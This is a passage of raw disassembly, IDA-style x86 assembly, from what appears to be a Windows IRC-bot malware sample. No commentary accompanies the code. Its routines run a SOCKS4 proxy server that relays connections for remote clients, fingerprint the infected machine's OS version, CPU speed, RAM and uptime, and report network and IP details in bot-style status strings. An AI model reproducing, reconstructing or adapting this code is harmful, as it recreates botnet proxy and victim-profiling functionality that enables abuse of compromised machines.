		cmp	dl, [eax+1]
		jnz	short loc_40F9DC
		inc	edi
		inc	edi
		inc	eax
		inc	eax
		cmp	cl, bl
		jnz	short loc_40F9BA


loc_40F9D8:				; CODE XREF: sub_40F8FA+CAj
		xor	eax, eax
		jmp	short loc_40F9E1
; ---------------------------------------------------------------------------


loc_40F9DC:				; CODE XREF: sub_40F8FA+C6j
					; sub_40F8FA+D4j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_40F9E1:				; CODE XREF: sub_40F8FA+E0j
		cmp	eax, ebx
		jz	short loc_40FA43
		lea	eax, [ebp+74h+var_48]
		push	eax
		lea	eax, [ebp+74h+var_4CC]
		push	eax
		push	offset aSocks4Authenti ; "[SOCKS4]: Authentication failed. Remote"...
		call	sub_401CA7
		add	esp, 0Ch
		mov	[ebp+74h+var_4D4], bl
		mov	[ebp+74h+var_4D3], 5Dh


loc_40FA0A:				; CODE XREF: sub_40F8FA+1C0j
		xor	eax, eax
		push	ebx
		mov	ecx, 100h
		lea	edi, [ebp+74h+var_4CC]
		rep stosd
		push	8
		lea	eax, [ebp+74h+var_4D4]
		push	eax
		push	dword_434344[esi]
		call	dword_433534


loc_40FA2F:				; CODE XREF: sub_40F8FA+210j
		push	dword_434344[esi]
		call	dword_4335AC
		push	[ebp+74h+arg_0]
		jmp	loc_40FB1C
; ---------------------------------------------------------------------------


loc_40FA43:				; CODE XREF: sub_40F8FA+B1j
					; sub_40F8FA+E9j
		xor	eax, eax
		lea	edi, [ebp+74h+var_1C]
		stosd
		stosd
		stosd
		stosd
		mov	ax, [ebp+74h+var_4D2]
		push	6
		mov	[ebp+74h+var_1A], ax
		mov	eax, [ebp+74h+var_4D0]
		push	1
		push	2
		mov	[ebp+74h+var_1C], 2
		mov	[ebp+74h+var_18], eax
		call	dword_4334A0
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+74h+var_4], eax
		jnz	short loc_40FA88
		call	dword_433558
		push	eax
		push	offset aSocks4ErrorFai ; "[SOCKS4]: Error: Failed to open socket("...
		jmp	short loc_40FAA6
; ---------------------------------------------------------------------------


loc_40FA88:				; CODE XREF: sub_40F8FA+17Ej
		push	10h
		lea	ecx, [ebp+74h+var_1C]
		push	ecx
		push	eax
		call	dword_433458
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40FABF
		call	dword_433558
		push	eax
		push	offset aSocks4ErrorF_0 ; "[SOCKS4]: Error: Failed to connect to	t"...


loc_40FAA6:				; CODE XREF: sub_40F8FA+18Cj
		call	sub_401CA7
		pop	ecx
		pop	ecx
		mov	[ebp+74h+var_4D4], bl
		mov	[ebp+74h+var_4D3], 5Bh
		jmp	loc_40FA0A
; ---------------------------------------------------------------------------


loc_40FABF:				; CODE XREF: sub_40F8FA+19Ej
		xor	eax, eax
		push	ebx
		mov	[ebp+74h+var_4D4], bl
		mov	[ebp+74h+var_4D3], 5Ah
		mov	ecx, 100h
		lea	edi, [ebp+74h+var_4CC]
		rep stosd
		push	8
		lea	eax, [ebp+74h+var_4D4]
		push	eax
		push	dword_434344[esi]
		call	dword_433534
		push	dword_434344[esi]
		push	[ebp+74h+var_4]
		call	sub_40F7FD
		pop	ecx
		pop	ecx
		push	[ebp+74h+var_4]
		call	dword_4335AC
		jmp	loc_40FA2F
; ---------------------------------------------------------------------------


loc_40FB0F:				; CODE XREF: sub_40F8FA+8Ej
					; sub_40F8FA+9Bj ...
		push	dword_434344[esi]


loc_40FB15:				; CODE XREF: sub_40F8FA+6Ej
		call	dword_4335AC
		push	edi


loc_40FB1C:				; CODE XREF: sub_40F8FA+144j
		call	sub_4111AE
		pop	ecx
		push	ebx
		call	ds:dword_41F014
		int	3		; Trap to Debugger
sub_40F8FA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_40FB2A	proc near		; DATA XREF: sub_4078FA+494Co

var_2D4		= byte ptr -2D4h
var_D4		= dword	ptr -0D4h
var_D0		= byte ptr -0D0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 2D4h
		mov	eax, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		push	2Ch
		pop	ecx
		xor	ebx, ebx
		lea	edi, [ebp+74h+var_D4]
		rep movsd
		push	[ebp+74h+var_40]
		inc	ebx
		mov	[eax+0A8h], ebx
		xor	eax, eax
		lea	edi, [ebp+74h+var_14]
		stosd
		stosd
		stosd
		stosd
		mov	[ebp+74h+var_4], 10h
		mov	[ebp+74h+var_14], 2
		call	dword_4335EC
		push	6
		push	ebx
		xor	esi, esi
		push	2
		mov	[ebp+74h+var_12], ax
		mov	[ebp+74h+var_10], esi
		call	dword_4334A0
		mov	edi, eax
		mov	eax, [ebp+74h+var_3C]
		imul	eax, 234h
		mov	dword_434344[eax], edi
		push	10h
		lea	eax, [ebp+74h+var_14]
		push	eax
		push	edi
		call	dword_433578
		test	eax, eax
		jnz	loc_40FCBB
		push	0Ah
		push	edi
		call	dword_4335C0
		test	eax, eax
		jnz	loc_40FCBB
		push	[ebp+74h+var_40]
		push	[ebp+74h+var_D4]
		call	sub_406C33
		pop	ecx
		push	eax
		lea	eax, [ebp+74h+var_2D4]
		push	offset aSocks4ServerSt ; "[SOCKS4]: Server started on: %s:%d."
		push	eax
		call	sub_412BB5
		add	esp, 10h
		cmp	[ebp+74h+var_30], esi
		jnz	short loc_40FBF8
		push	esi
		push	[ebp+74h+var_34]
		lea	eax, [ebp+74h+var_2D4]
		push	eax
		lea	eax, [ebp+74h+var_D0]
		push	eax
		push	[ebp+74h+var_D4]
		call	sub_4045DD
		add	esp, 14h


loc_40FBF8:				; CODE XREF: sub_40FB2A+B2j
					; sub_40FB2A+17Aj ...
		lea	eax, [ebp+74h+var_2D4]
		push	eax
		call	sub_401C33
		pop	ecx
		lea	eax, [ebp+74h+var_4]
		push	eax
		lea	eax, [ebp+74h+var_24]
		push	eax
		push	edi
		call	dword_433464
		push	[ebp+74h+var_3C]
		mov	ebx, eax
		movzx	eax, [ebp+74h+var_22]
		push	eax
		push	[ebp+74h+var_20]
		mov	[ebp+74h+var_28], esi
		call	dword_433520
		push	eax
		lea	eax, [ebp+74h+var_2D4]
		push	offset aSocks4ClientCo ; "[SOCKS4]: Client connection from IP: %s"...
		push	eax
		call	sub_412BB5
		push	ebx
		lea	eax, [ebp+74h+var_2D4]
		push	12h
		push	eax
		call	sub_410EEA
		mov	ecx, [ebp+74h+var_3C]
		mov	[ebp+74h+var_38], eax
		imul	eax, 234h
		add	esp, 20h
		mov	dword_43433C[eax], ecx
		lea	eax, [ebp+74h+arg_0]
		push	eax
		push	esi
		lea	eax, [ebp+74h+var_D4]
		push	eax
		push	offset sub_40F8FA
		push	esi
		push	esi
		call	ds:dword_41F00C
		mov	ecx, [ebp+74h+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43434C[ecx], eax
		jnz	short loc_40FCB1
		call	ds:dword_41F008
		push	eax
		lea	eax, [ebp+74h+var_2D4]
		push	offset aSocks4Failed_0 ; "[SOCKS4]: Failed to start client thread"...
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		jmp	loc_40FBF8
; ---------------------------------------------------------------------------


loc_40FCA9:				; CODE XREF: sub_40FB2A+18Aj
		push	5
		call	ds:dword_41F000


loc_40FCB1:				; CODE XREF: sub_40FB2A+15Dj
		cmp	[ebp+74h+var_28], esi
		jz	short loc_40FCA9
		jmp	loc_40FBF8
; ---------------------------------------------------------------------------


loc_40FCBB:				; CODE XREF: sub_40FB2A+77j
					; sub_40FB2A+88j
		push	edi
		call	dword_4335AC
		push	[ebp+74h+var_40]
		lea	eax, [ebp+74h+var_2D4]
		push	offset aSocks4Failed_1 ; "[SOCKS4]: Failed to start server on Por"...
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		cmp	[ebp+74h+var_30], esi
		jnz	short loc_40FCF8
		push	esi
		push	[ebp+74h+var_34]
		lea	eax, [ebp+74h+var_2D4]
		push	eax
		lea	eax, [ebp+74h+var_D0]
		push	eax
		push	[ebp+74h+var_D4]
		call	sub_4045DD
		add	esp, 14h


loc_40FCF8:				; CODE XREF: sub_40FB2A+1B2j
		lea	eax, [ebp+74h+var_2D4]
		push	eax
		call	sub_401C33
		push	[ebp+74h+var_3C]
		call	sub_4111AE
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_41F014
		int	3		; Trap to Debugger
sub_40FB2A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40FD16	proc near		; CODE XREF: sub_401000+74p
					; sub_4078FA+42B4p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	ds:dword_41F004
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		xor	edx, edx
		mov	ecx, 15180h
		mov	esi, 0E10h
		push	3Ch
		pop	edi
		sub	eax, [esp+8+arg_0]
		div	ecx
		mov	ecx, eax
		mov	eax, edx
		xor	edx, edx
		div	esi
		mov	esi, eax
		mov	eax, edx
		xor	edx, edx
		div	edi
		push	eax
		push	esi
		push	ecx
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		mov	esi, offset dword_479E1C
		push	esi
		call	sub_412E0D
		add	esp, 18h
		pop	edi
		mov	eax, esi
		pop	esi
		retn
sub_40FD16	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FD69	proc near		; CODE XREF: sub_40FE1F+240p
		push	ebx
		push	esi
		push	edi
		mov	edi, 0F4240h


loc_40FD71:				; CODE XREF: sub_40FD69+2Fj
					; sub_40FD69+35j
		rdtsc
		push	3E8h
		mov	ebx, edx
		mov	esi, eax
		call	ds:dword_41F000
		rdtsc
		push	0
		sub	eax, esi
		push	edi
		sbb	edx, ebx
		push	edx
		push	eax
		call	sub_414600
		mov	esi, edx
		test	esi, esi
		mov	ebx, eax
		ja	short loc_40FD71
		jb	short loc_40FDA0
		cmp	ebx, edi
		ja	short loc_40FD71


loc_40FDA0:				; CODE XREF: sub_40FD69+31j
		push	0
		push	64h
		push	esi
		push	ebx
		call	sub_414580
		mov	ecx, edx
		push	64h
		xor	edx, edx
		test	ecx, ecx
		mov	edi, eax
		pop	eax
		ja	short loc_40FE13
		jb	short loc_40FDBF
		cmp	edi, 50h
		jnb	short loc_40FDC4


loc_40FDBF:				; CODE XREF: sub_40FD69+4Fj
		push	4Bh
		pop	eax
		xor	edx, edx


loc_40FDC4:				; CODE XREF: sub_40FD69+54j
		test	ecx, ecx
		ja	short loc_40FE13
		jb	short loc_40FDCF
		cmp	edi, 47h
		jnb	short loc_40FDD4


loc_40FDCF:				; CODE XREF: sub_40FD69+5Fj
		push	42h
		pop	eax
		xor	edx, edx


loc_40FDD4:				; CODE XREF: sub_40FD69+64j
		test	ecx, ecx
		ja	short loc_40FE13
		jb	short loc_40FDDF
		cmp	edi, 37h
		jnb	short loc_40FDE4


loc_40FDDF:				; CODE XREF: sub_40FD69+6Fj
		push	32h
		pop	eax
		xor	edx, edx


loc_40FDE4:				; CODE XREF: sub_40FD69+74j
		test	ecx, ecx
		ja	short loc_40FE13
		jb	short loc_40FDEF
		cmp	edi, 26h
		jnb	short loc_40FDF4


loc_40FDEF:				; CODE XREF: sub_40FD69+7Fj
		push	21h
		pop	eax
		xor	edx, edx


loc_40FDF4:				; CODE XREF: sub_40FD69+84j
		test	ecx, ecx
		ja	short loc_40FE13
		jb	short loc_40FDFF
		cmp	edi, 1Eh
		jnb	short loc_40FE04


loc_40FDFF:				; CODE XREF: sub_40FD69+8Fj
		push	19h
		pop	eax
		xor	edx, edx


loc_40FE04:				; CODE XREF: sub_40FD69+94j
		test	ecx, ecx
		ja	short loc_40FE13
		jb	short loc_40FE0F
		cmp	edi, 0Ah
		jnb	short loc_40FE13


loc_40FE0F:				; CODE XREF: sub_40FD69+9Fj
		xor	eax, eax
		xor	edx, edx


loc_40FE13:				; CODE XREF: sub_40FD69+4Dj
					; sub_40FD69+5Dj ...
		sub	eax, edi
		sbb	edx, ecx
		add	eax, ebx
		pop	edi
		adc	edx, esi
		pop	esi
		pop	ebx
		retn
sub_40FD69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=70h


sub_40FE1F	proc near		; CODE XREF: sub_4078FA+44ABp

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		lea	ebp, [esp-70h]
		sub	esp, 7E8h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+70h+var_CC]
		push	eax
		mov	[ebp+70h+var_4], 41FA76h
		mov	[ebp+70h+var_CC], 94h
		call	ds:dword_41F0F8
		xor	ebx, ebx
		cmp	[ebp+70h+var_C8], 4
		jnz	short loc_40FE90
		cmp	[ebp+70h+var_C4], ebx
		jnz	short loc_40FE72
		cmp	[ebp+70h+var_BC], 1
		jnz	short loc_40FE5F
		mov	[ebp+70h+var_4], offset	a95 ; "95"


loc_40FE5F:				; CODE XREF: sub_40FE1F+37j
		cmp	[ebp+70h+var_BC], 2
		jnz	loc_40FEF6
		mov	[ebp+70h+var_4], offset	aNt ; "NT"
		jmp	short loc_40FECD
; ---------------------------------------------------------------------------


loc_40FE72:				; CODE XREF: sub_40FE1F+31j
		cmp	[ebp+70h+var_C4], 0Ah
		jnz	short loc_40FE81
		mov	[ebp+70h+var_4], offset	a98 ; "98"
		jmp	short loc_40FEC7
; ---------------------------------------------------------------------------


loc_40FE81:				; CODE XREF: sub_40FE1F+57j
		cmp	[ebp+70h+var_C4], 5Ah
		jnz	short loc_40FEC0
		mov	[ebp+70h+var_4], offset	aMe_0 ;	"ME"
		jmp	short loc_40FEC7
; ---------------------------------------------------------------------------


loc_40FE90:				; CODE XREF: sub_40FE1F+2Cj
		cmp	[ebp+70h+var_C8], 5
		jnz	short loc_40FEC0
		cmp	[ebp+70h+var_C4], ebx
		jnz	short loc_40FEA4
		mov	[ebp+70h+var_4], offset	a2k ; "2K"
		jmp	short loc_40FEC7
; ---------------------------------------------------------------------------


loc_40FEA4:				; CODE XREF: sub_40FE1F+7Aj
		cmp	[ebp+70h+var_C4], 1
		jnz	short loc_40FEB3
		mov	[ebp+70h+var_4], offset	aXp_0 ;	"XP"
		jmp	short loc_40FEC7
; ---------------------------------------------------------------------------


loc_40FEB3:				; CODE XREF: sub_40FE1F+89j
		cmp	[ebp+70h+var_C4], 2
		mov	[ebp+70h+var_4], offset	a2003 ;	"2003"
		jz	short loc_40FEC7


loc_40FEC0:				; CODE XREF: sub_40FE1F+66j
					; sub_40FE1F+75j
		mov	[ebp+70h+var_4], offset	a??? ; "???"


loc_40FEC7:				; CODE XREF: sub_40FE1F+60j
					; sub_40FE1F+6Fj ...
		cmp	[ebp+70h+var_BC], 2
		jnz	short loc_40FEF6


loc_40FECD:				; CODE XREF: sub_40FE1F+51j
		cmp	[ebp+70h+var_B8], bl
		jz	short loc_40FEF6
		lea	eax, [ebp+70h+var_B8]
		push	eax
		push	[ebp+70h+var_4]
		lea	eax, [ebp+70h+var_2E8]
		push	offset aSS_4	; "%s (%s)"
		push	eax
		call	sub_412BB5
		lea	eax, [ebp+70h+var_2E8]
		add	esp, 10h
		mov	[ebp+70h+var_4], eax


loc_40FEF6:				; CODE XREF: sub_40FE1F+44j
					; sub_40FE1F+ACj ...
		push	3Fh
		pop	ecx
		xor	eax, eax
		mov	[ebp+70h+var_25C], cx
		lea	edi, [ebp+70h+var_25A]
		rep stosd
		stosw
		mov	eax, dword_433530
		cmp	eax, ebx
		mov	[ebp+70h+var_C], 100h
		jz	short loc_40FF29
		lea	ecx, [ebp+70h+var_C]
		push	ecx
		lea	ecx, [ebp+70h+var_25C]
		push	ecx
		call	eax


loc_40FF29:				; CODE XREF: sub_40FE1F+FBj
		push	[ebp+70h+arg_4]
		call	sub_406C33
		pop	ecx
		push	eax
		call	dword_433514
		push	2
		mov	[ebp+70h+var_8], eax
		push	4
		lea	eax, [ebp+70h+var_8]
		push	eax
		call	dword_433590
		cmp	eax, ebx
		jz	short loc_40FF52
		push	dword ptr [eax]
		jmp	short loc_40FF57
; ---------------------------------------------------------------------------


loc_40FF52:				; CODE XREF: sub_40FE1F+12Dj
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_40FF57:				; CODE XREF: sub_40FE1F+131j
		lea	eax, [ebp+70h+var_3E4]
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx
		push	104h
		lea	eax, [ebp+70h+var_4E8]
		push	eax
		call	ds:dword_41F040
		push	46h
		lea	eax, [ebp+70h+var_114]
		push	eax
		push	offset aDdMmmYyyy ; "dd:MMM:yyyy"
		push	ebx
		push	ebx
		mov	esi, 409h
		push	esi
		call	ds:dword_41F068
		push	46h
		lea	eax, [ebp+70h+var_15C]
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	ds:dword_41F064
		push	8
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+70h+var_38]
		rep stosd
		lea	eax, [ebp+70h+var_38]
		push	eax
		call	ds:dword_41F108
		push	ebx
		push	ebx
		push	ebx
		lea	eax, [ebp+70h+var_18]
		push	eax
		lea	eax, [ebp+70h+var_4E8]
		push	eax
		call	sub_4141AD
		lea	eax, [ebp+70h+var_18]
		push	eax
		lea	eax, [ebp+70h+var_7E8]
		push	eax
		call	sub_40253D
		push	60h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+70h+var_668]
		push	ebx
		rep movsd
		call	sub_40FD16
		add	esp, 20h
		push	eax
		lea	eax, [ebp+70h+var_15C]
		push	eax
		lea	eax, [ebp+70h+var_114]
		push	eax
		lea	eax, [ebp+70h+var_25C]
		push	eax
		push	[ebp+70h+arg_4]
		call	sub_406C33
		pop	ecx
		push	eax
		lea	eax, [ebp+70h+var_3E4]
		push	eax
		lea	eax, [ebp+70h+var_4E8]
		push	eax
		push	[ebp+70h+var_C0]
		lea	eax, [ebp+70h+var_5E8]
		push	[ebp+70h+var_C4]
		push	[ebp+70h+var_C8]
		push	[ebp+70h+var_4]
		push	eax
		lea	eax, [ebp+70h+var_568]
		push	eax
		mov	eax, [ebp+70h+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_402439
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+70h+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_402439
		pop	ecx
		pop	ecx
		push	eax
		call	sub_40FD69
		push	edx
		push	eax
		push	offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...
		push	200h
		push	[ebp+70h+arg_0]
		call	sub_412E0D
		mov	eax, [ebp+70h+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		add	ebp, 70h
		leave
		retn
sub_40FE1F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=6Ch


sub_410086	proc near		; CODE XREF: sub_4078FA+33AEp
					; sub_4078FA+44DAp

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		lea	ebp, [esp-6Ch]
		sub	esp, 8Ch
		push	edi
		push	20h
		pop	ecx
		xor	eax, eax
		cmp	dword_433618, eax
		lea	edi, [ebp+6Ch+var_8C]
		rep stosd
		pop	edi
		jnz	short loc_4100EC
		push	eax
		push	80h
		lea	eax, [ebp+6Ch+var_8C]
		push	eax
		lea	eax, [ebp+6Ch+var_C]
		push	eax
		call	dword_4335E8
		test	eax, eax
		jnz	short loc_4100CD
		lea	eax, [ebp+6Ch+var_8C]
		push	offset dword_4271BC
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx


loc_4100CD:				; CODE XREF: sub_410086+35j
		test	[ebp+6Ch+var_C], 1
		lea	eax, [ebp+6Ch+var_8]
		jz	short loc_4100E5
		push	offset dword_4271B4


loc_4100DB:				; CODE XREF: sub_410086+64j
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx
		jmp	short loc_41010A
; ---------------------------------------------------------------------------


loc_4100E5:				; CODE XREF: sub_410086+4Ej
		push	offset dword_4271B0
		jmp	short loc_4100DB
; ---------------------------------------------------------------------------


loc_4100EC:				; CODE XREF: sub_410086+1Dj
		push	esi
		mov	esi, offset off_4271AC
		lea	eax, [ebp+6Ch+var_8]
		push	esi
		push	eax
		call	sub_412BB5
		lea	eax, [ebp+6Ch+var_8C]
		push	esi
		push	eax
		call	sub_412BB5
		add	esp, 10h
		pop	esi


loc_41010A:				; CODE XREF: sub_410086+5Dj
		push	[ebp+6Ch+arg_4]
		push	[ebp+6Ch+arg_8]
		call	sub_406C33
		pop	ecx
		push	eax
		lea	eax, [ebp+6Ch+var_8C]
		push	eax
		lea	eax, [ebp+6Ch+var_8]
		push	eax
		push	offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s	(%s). [IP Address"...
		push	200h
		push	[ebp+6Ch+arg_0]
		call	sub_412E0D
		mov	eax, [ebp+6Ch+arg_0]
		add	esp, 1Ch
		add	ebp, 6Ch
		leave
		retn
sub_410086	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_41013C	proc near		; CODE XREF: sub_401525+71p
					; sub_410408+1Cp

var_E4		= word ptr -0E4h
var_E2		= word ptr -0E2h
var_E0		= word ptr -0E0h
var_DE		= word ptr -0DEh
var_DC		= word ptr -0DCh
var_DA		= word ptr -0DAh
var_D8		= word ptr -0D8h
var_D6		= word ptr -0D6h
var_D4		= word ptr -0D4h
var_D2		= word ptr -0D2h
var_D0		= word ptr -0D0h
var_CE		= word ptr -0CEh
var_CC		= word ptr -0CCh
var_CA		= word ptr -0CAh
var_C8		= word ptr -0C8h
var_C6		= word ptr -0C6h
var_C4		= word ptr -0C4h
var_C2		= word ptr -0C2h
var_C0		= word ptr -0C0h
var_BE		= word ptr -0BEh
var_BC		= word ptr -0BCh
var_BA		= word ptr -0BAh
var_B8		= word ptr -0B8h
var_B6		= word ptr -0B6h
var_B4		= word ptr -0B4h
var_B2		= word ptr -0B2h
var_B0		= word ptr -0B0h
var_AE		= word ptr -0AEh
var_AC		= word ptr -0ACh
var_AA		= word ptr -0AAh
var_A8		= word ptr -0A8h
var_A6		= word ptr -0A6h
var_A4		= word ptr -0A4h
var_A2		= word ptr -0A2h
var_A0		= word ptr -0A0h
var_9E		= word ptr -9Eh
var_9C		= word ptr -9Ch
var_9A		= word ptr -9Ah
var_98		= word ptr -98h
var_96		= word ptr -96h
var_94		= word ptr -94h
var_92		= word ptr -92h
var_90		= word ptr -90h
var_8E		= word ptr -8Eh
var_8C		= word ptr -8Ch
var_8A		= word ptr -8Ah
var_88		= word ptr -88h
var_86		= word ptr -86h
var_84		= word ptr -84h
var_82		= word ptr -82h
var_80		= word ptr -80h
var_7E		= word ptr -7Eh
var_7C		= word ptr -7Ch
var_7A		= word ptr -7Ah
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= word ptr -74h
var_72		= word ptr -72h
var_70		= word ptr -70h
var_6E		= word ptr -6Eh
var_6C		= word ptr -6Ch
var_6A		= word ptr -6Ah
var_68		= word ptr -68h
var_66		= word ptr -66h
var_64		= word ptr -64h
var_62		= word ptr -62h
var_60		= word ptr -60h
var_5E		= word ptr -5Eh
var_5C		= word ptr -5Ch
var_5A		= word ptr -5Ah
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= word ptr -54h
var_52		= word ptr -52h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= word ptr -48h
var_46		= word ptr -46h
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= word ptr -40h
var_3E		= word ptr -3Eh
var_3C		= word ptr -3Ch
var_3A		= word ptr -3Ah
var_38		= word ptr -38h
var_36		= word ptr -36h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= word ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= word ptr -0Ch
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 0E4h
		xor	eax, eax
		mov	[ebp+74h+var_E4], ax
		mov	[ebp+74h+var_E2], 1
		mov	[ebp+74h+var_E0], 2
		mov	[ebp+74h+var_DE], 5
		mov	[ebp+74h+var_DC], 7
		mov	[ebp+74h+var_DA], 0Bh
		mov	[ebp+74h+var_D8], 17h
		mov	[ebp+74h+var_D6], 1Bh
		mov	[ebp+74h+var_D4], 1Fh
		mov	[ebp+74h+var_D2], 24h
		mov	[ebp+74h+var_D0], 25h
		mov	[ebp+74h+var_CE], 27h
		mov	[ebp+74h+var_CC], 29h
		mov	[ebp+74h+var_CA], 2Ah
		mov	[ebp+74h+var_C8], 31h
		mov	[ebp+74h+var_C6], 32h
		mov	[ebp+74h+var_C4], 49h
		mov	[ebp+74h+var_C2], 4Ah
		mov	[ebp+74h+var_C0], 4Bh
		mov	[ebp+74h+var_BE], 4Ch
		mov	[ebp+74h+var_BC], 4Dh
		mov	[ebp+74h+var_BA], 4Eh
		mov	[ebp+74h+var_B8], 4Fh
		mov	[ebp+74h+var_B6], 59h
		mov	[ebp+74h+var_B4], 5Ah
		mov	[ebp+74h+var_B2], 5Bh
		mov	[ebp+74h+var_B0], 5Ch
		mov	[ebp+74h+var_AE], 5Dh
		mov	[ebp+74h+var_AC], 5Eh
		mov	[ebp+74h+var_AA], 5Fh
		mov	[ebp+74h+var_A8], 60h
		mov	[ebp+74h+var_A6], 61h
		mov	[ebp+74h+var_A4], 62h
		mov	[ebp+74h+var_A2], 63h
		mov	[ebp+74h+var_A0], 64h
		mov	[ebp+74h+var_9E], 65h
		mov	[ebp+74h+var_9C], 66h
		mov	[ebp+74h+var_9A], 67h
		mov	[ebp+74h+var_98], 68h
		mov	[ebp+74h+var_96], 69h
		mov	[ebp+74h+var_94], 6Ah
		mov	[ebp+74h+var_92], 6Bh
		mov	[ebp+74h+var_90], 6Ch
		mov	[ebp+74h+var_8E], 6Dh
		mov	[ebp+74h+var_8C], 6Eh
		mov	[ebp+74h+var_8A], 6Fh
		mov	[ebp+74h+var_88], 70h
		mov	[ebp+74h+var_86], 71h
		mov	[ebp+74h+var_84], 72h
		mov	[ebp+74h+var_82], 73h
		mov	[ebp+74h+var_80], 74h
		mov	[ebp+74h+var_7E], 75h
		mov	[ebp+74h+var_7C], 76h
		mov	[ebp+74h+var_7A], 77h
		mov	[ebp+74h+var_78], 78h
		mov	[ebp+74h+var_76], 79h
		mov	[ebp+74h+var_74], 7Ah
		mov	[ebp+74h+var_72], 7Bh
		mov	[ebp+74h+var_70], 7Ch
		mov	[ebp+74h+var_6E], 7Dh
		mov	[ebp+74h+var_6C], 7Eh
		mov	[ebp+74h+var_6A], 7Fh
		mov	[ebp+74h+var_68], 0ADh
		mov	[ebp+74h+var_66], 0AEh
		mov	[ebp+74h+var_64], 0AFh
		mov	[ebp+74h+var_62], 0B0h
		mov	[ebp+74h+var_60], 0B1h
		mov	[ebp+74h+var_5E], 0B2h
		mov	[ebp+74h+var_5C], 0B3h
		mov	[ebp+74h+var_5A], 0B4h
		mov	[ebp+74h+var_58], 0B5h
		mov	[ebp+74h+var_56], 0B6h
		mov	[ebp+74h+var_54], 0B7h
		mov	[ebp+74h+var_52], 0B8h
		mov	[ebp+74h+var_50], 0B9h
		mov	[ebp+74h+var_4E], 0BAh
		mov	[ebp+74h+var_4C], 0BBh
		mov	[ebp+74h+var_4A], 0BDh
		mov	[ebp+74h+var_48], 0BEh
		mov	[ebp+74h+var_46], 0C5h
		mov	[ebp+74h+var_44], 0DFh
		mov	[ebp+74h+var_42], 0E0h
		mov	[ebp+74h+var_40], 0E1h
		mov	[ebp+74h+var_3E], 0E2h
		mov	[ebp+74h+var_3C], 0E3h
		mov	[ebp+74h+var_3A], 0E4h
		mov	[ebp+74h+var_38], 0E5h
		mov	[ebp+74h+var_36], 0E6h
